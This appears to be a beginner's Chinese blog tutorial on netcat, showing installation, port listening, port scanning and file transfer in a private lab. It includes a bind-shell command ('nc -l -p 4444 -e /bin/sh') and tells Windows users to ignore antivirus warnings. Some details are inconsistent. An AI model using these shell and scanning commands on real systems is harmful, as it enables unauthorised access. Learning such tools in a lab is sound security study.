Asun安全学习【安全工具】netcat

(ps:本人是小白,写博客用来安全学习,也借鉴了许多大佬的研究内容,感谢各位大佬进行指导和点评。)

【工具名称】

netcat

【简介】

netcat是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

用途

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为client发起TCP或UDP连接

(3)机器之间传输文件

(4)机器之间网络测速

【搭建方式】

LINUX:

大多数Linux中都自带netcat(比如kali),如果没有,可以使用命令进行安装。

这里我以ubuntu为例(Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional):

首先登录ubuntu超级用户:

输入命令:apt-get -y install netcat-traditional下载软件包:

接着输入update-alternatives --config nc来切换原始nc:

输入2后摁回车键。

接下来输入nc命令,是否成功安装:

发现返回nc的帮助信息,表明nc安装成功。

Linux其他系统还可以通过:

yum install nc

或者是

​
 sudo wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz 

​

这两个命令下载。

下载完成后可以输入nc命令进行验证(nc -version 或者 nc -h等等)。

WINDOWS:

这里我以win10为例:

下载地址:netcat 1.11 for Win32/Win64

点击netcat 1.12连接进行下载(会报毒,无视风险,继续安装就好啦(..>◡<..))

将下载好的压缩包放到一个文件夹里:

然后解压到当前文件夹中:

配置环境变量(在系统->关于->高级系统设置->高级->环境变量、也可以直接在下面搜索框中搜索环境变量):

将刚刚的解压的路径添加进去:

之后打开命令提示符进行测试:(nc -l -p 4444 -v)

打开一个新的命令提示符,输入nc localhost 4444:

会看到第一个命令提示符内已经出现监听连接。在第二个中随意输入(比如helloworld),在第一个中也会出现。

【使用手册】

使用帮助命令:

常见用法

(客户端win10IP地址为:172.22.72.143

服务端kaliIP地址为:172.22.72.177。)

1、nc -lvp 4444

监听端口,服务端将在本地的 4444 端口上监听传入的连接,并呈现在当前终端中:

2、nc 172.22.72.177 4444

尝试连接到 IP 地址为 172.22.72.177 的主机的 1234 端口

Win10机器中输入命令:nc 172.22.72.177 4444:

同时在kali中,监听的端口有回应:

3、nc -vz 172.22.72.143 1-100

端口扫描扫描win10主机172.22.72.143中1到100端口:

4、nc 172.22.72.177 4444 > file.txt

发送文件,向kali主机172.22.72.177中的4444端口发送文件file.txt:

nc -l -p 4444 < file.txt

接受文件。从主机4444端口接受file.txt文件。

5、反弹shell

nc -l -p 4444 -e /bin/sh

在服务端监听端口,等待连接,一旦连接建立,执行 shell。

nc -nv 172.22.72.177 4444

在客户端连接到服务端,获取 shell

其他用法

语法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

参  数:

 -g<网关>  设置路由器跃程通信网关,最丢哦可设置8个。

 -G<指向器数目>  设置来源路由指向器,其数值为4的倍数。

 -h  在线帮助。

 -i<延迟秒数>  设置时间间隔,以便传送信息及扫描通信端口。

 -l  使用监听模式,管控传入的资料。

 -n  直接使用IP地址,而不通过域名服务器。

 -o<输出文件>  指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

 -p<通信端口>  设置本地主机使用的通信端口。

 -r  乱数指定本地与远端主机的通信端口。

 -s<来源位址>  设置本地主机送出数据包的IP地址。

 -u  使用UDP传输协议。

-v 详细输出--用两个-v可得到更详细的内容

 -w<超时秒数>  设置等待连线的时间。

 -z  使用0输入/输出模式,只在扫描通信端口时使用。

以上就是netcat的基本用法,当然,它还可以做到更多更多。感谢大家观看,如果对大家帮助,麻烦大家点点赞!!!

同样,如果大家有更好的建议,欢迎大家进行评论指出和点评,我会尽力去修改和完善。

参考连接

linux nc命令使用详解_nc-v命令-CSDN博客

彻底弄懂netcat命令的使用_netcat命令详解-CSDN博客

windows环境安装nc(netcat)命令 - 竹堑 - 博客园 (cnblogs.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值